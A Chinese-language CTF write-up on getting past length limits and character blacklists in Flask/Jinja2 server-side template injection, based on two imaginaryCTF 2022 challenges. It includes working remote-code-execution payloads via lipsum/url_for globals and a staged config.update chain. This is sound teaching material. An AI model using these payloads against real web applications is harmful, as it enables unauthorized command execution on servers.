最近在国外的 CTF 中遇到了几道 SSTI 长度限制的题,并且网上相关知识点记载较少,于是就有了这篇文章。
本文以两道题为参考来讲解 SSTI 在长度限制下如何进行绕过
一. 使用长度较短的 Payload
原题:imaginaryCTF 2022 - SSTI Golf
#!/usr/bin/env python3
from flask import Flask, render_template_string, request, Response
app = Flask(__name__)
@app.route('/')
def index():
return Response(open(__file__).read(), mimetype='text/plain')
@app.route('/ssti')
def ssti():
query = request.args['query'] if 'query' in request.args else '...'
print(len(query))
if len(query) > 49:
return "Too long!"
return render_template_string(query)
app.run('0.0.0.0', 1337)
这道题的代码比较简单,定义了两个路由。
根路由返回程序的源代码;
ssti 路由接收一个从 GET 方法传递过来的 query 参数,并直接将它传入 render_template_string() 函数,并且未存在过滤,因此造成 SSTI 漏洞。
需要注意的是,在渲染模板之前代码对 query 参数做了长度限制,限制它不能超过 49 个字符,否则直接退出,因此需要绕过此处的长度限制。
当代码中存在长度限制并未过滤任何字符且长度的限制较大时,应优先考虑使用较短的 Payload 尝试命令执行。
如果使用常规 Payload 比如 __subclasses__ 或 __class__,肯定会导致 Payload 过长。
因此我们要在这里使用 Flask 内置的全局函数来构造我们的 Payload:
- url_for:此函数全局空间下存在 eval() 和 os 模块
- lipsum:此函数全局空间下存在 eval() 和 os 模块
所以我们可以使用 __globals__ 属性来获取函数当前全局空间下的所有模块、函数及属性
下列 Payload 即通过 __globals__ 属性获取全局空间中的 os 模块,并调用 popen() 函数来执行系统命令;因为 popen 函数返回的结果是个文件对象,因此需要调用 read() 函数来获取执行结果。
{{url_for.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__.os.popen('whoami').read()}}
二. 将 Payload 保存在 config 全局对象中
Flask 框架中存在 config 全局对象,用来保存配置信息。
config 对象实质上是一个字典的子类,可以像字典一样操作。
因此要更新字典,我们可以使用 Python 中字典的 update() 方法。
用 update() 方法 + 关键字参数更新字典:
d = {'a': 1, 'b': 2, 'c': 3}
d.update(d=4)
print(d)
执行结果:
Jinja 模板中存在 set 语句,用来设置模板中的变量:{% set var='test' %}
我们将使用 Jinja 模板的 set 语句配合字典的 update() 方法来更新 config 全局对象:
{% set x=config.update(s='string') %}
这里 set 语句设置的变量不重要,重点是 update() 函数中的参数。
查看结果:
可以看到已经成功在 config 全局对象中更新值。
接下来,我们将使用此方法来在 config 全局对象中分段保存 Payload,以绕过长度限制。
原题:imaginaryCTF 2022 - minigolf
from flask import Flask, render_template_string, request, Response
import html
app = Flask(__name__)
blacklist = ["{{", "}}", "[", "]", "_"]
@app.route('/', methods=['GET'])
def home():
print(request.args)
if "txt" in request.args.keys():
txt = html.escape(request.args["txt"])
if any([n in txt for n in blacklist]):
return "Not allowed."
if len(txt) <= 69:
return render_template_string(txt)
else:
return "Too long."
return Response(open(__file__).read(), mimetype='text/plain')
app.run('0.0.0.0', 1337)
这道题的代码总体意思与上一道题相同,通过 GET 方法接收 txt 参数并直接传入 render_template_string() 函数,造成 SSTI 漏洞。
但是此题加上了黑名单过滤,并且限制最大的字符长度为 69 ;过滤的字符有:
• {{
• }}
• [
• ]
• _
首先,过滤了 {{ ,所以我们不能使用 {{}} 来表示变量,我们可以使用 {%print(<PAYLOAD>)%} 来代替;
过滤了 [ ,所以我们不能使用 [] 来获取对象的属性,我们可以使用 . 或 attr() 过滤器来代替;
过滤了 _ ,导致我们不能获取魔术方法与属性,我们可以使用 attr() 过滤器配合字符编码或 request 对象绕过。
明白了绕过方法之后,我们开始利用 config 全局对象构造 Payload。
我们要基于构造的 Payload 是:
{{lipsum.__globals__.os.popen('whoami').read()}}
首先我们需要将 lipsum 全局函数更新保存到 config 中:
{%set x=config.update(l=lipsum)%}
在 config 全局对象中更新一个元素,键为 l,值为 lipsum 全局函数
查看 config,可以看到已成功保存 lipsum 全局函数。
接下来将 __globals__
{%set x=config.update(g=request.args.a)%}{%print(config)%}&a=__globals__
需要注意代码中过滤了下划线 _ ,这里使用 request 全局对象绕过;request 中保存的是客户端请求信息,这里使用 request.args 来通过 GET 方法传递其他参数,来绕过黑名单过滤。
查看 config,可以看到已成功保存 __globals__。
构造好了 __globals__ 字符串之后,接下来真正开始获取 lipsum 的 __globals__
{%set x=config.update(f=config.l|attr(config.g))%}{%print(config)%}
因为代码中过滤掉了中括号 [] ,所以这里使用 attr() 过滤器来获取 lipsum 的 __globals__ 属性。(不能使用 . 来获取属性是因为这里 config 后面就用了点,后面再用点会造成混乱语法错误)
可以看到成功获取了 lipsum 的全局空间下的所有模块并保存到了 config 中。
然后就是获取全局空间下的 os 模块:
{%set x=config.update(o=config.f.os)%}
因为保存全局空间的对象(config.f)是个字典,而在 Jinja 模板中获取字典的属性可以直接使用 . 来获取,因此这里直接使用 . 来获取全局空间字典下的 os 模块。
可以看到成功更新了键值为 o 的元素,值为 os 模块。
成功保存了 os 模块之后,接下来就是获取 os 模块中的 popen() 函数了,因为之后就是用它来执行命令:
{%set x=config.update(p=config.o.popen)%}
与上一步操作原理相同,获取 popen() 函数。
config 中的 p 已成功保存 popen() 函数。
到了这一步,Payload 的构造就已经完成了,我们成功将完整的 Payload 分段保存在了 config 全局对象中。
接下来,也就是最后一步,就是命令执行:
{%print(config.p(request.args.c).read())%}&c=whoami
这里不知为何原因不能在 popen() 函数中直接传字符串,要利用 request.args 从其他参数传递命令,否则会 500。
命令执行成功,获取到了 flag。
完整 Payload:
{%set x=config.update(l=lipsum)%}
{%set x=config.update(g=request.args.a)%}&a=__globals__
{%set x=config.update(f=config.l|attr(config.g))%}
{%set x=config.update(o=config.f.os)%}
{%set x=config.update(p=config.o.popen)%}
{%print(config.p(request.args.c).read())%}&c=whoami
总结
当遇到 SSTI 长度限制时,在没有过滤且限制长度较大时可以优先尝试使用较短的 Payload:
{{url_for.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__.os.popen('whoami').read()}}
当存在过滤且长度限制较短时,可利用 config 全局对象分段保存 Payload:
{%set x=config.update(l=lipsum)%}
{%set x=config.update(g=request.args.a)%}&a=__globals__
{%set x=config.update(f=config.l|attr(config.g))%}
{%set x=config.update(o=config.f.os)%}
{%set x=config.update(p=config.o.popen)%}
{%print(config.p(request.args.c).read())%}&c=whoami